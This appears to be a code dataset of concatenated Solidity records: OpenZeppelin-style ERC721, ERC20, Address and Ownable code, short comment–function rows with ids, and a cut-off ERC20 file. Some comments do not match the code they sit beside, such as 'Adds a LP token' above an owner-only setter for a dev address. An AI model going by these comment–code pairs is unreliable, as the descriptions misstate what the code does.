ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Original Satoshibles contract interface/
interface ISatoshible { function ownerOf( uint256 _tokenId ) external view returns (address owner); }
7,321,193
./full_match/43114/0x327E60E06b6B7999A341d6aB4c90A305A540D7EB/sources/apps/avai/src/contracts/OrcaAdder.sol
Adds a LP token, to allow transfering _dev The address of the LP token/
function changeDev(address _dev) public onlyOwner { require(_dev != address(0), 'Dev cannot be zero address'); dev = _dev; }
4,507,806
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns(uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns(uint); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint amount) external returns(bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns(uint); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint amount) external returns(bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint amount) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address 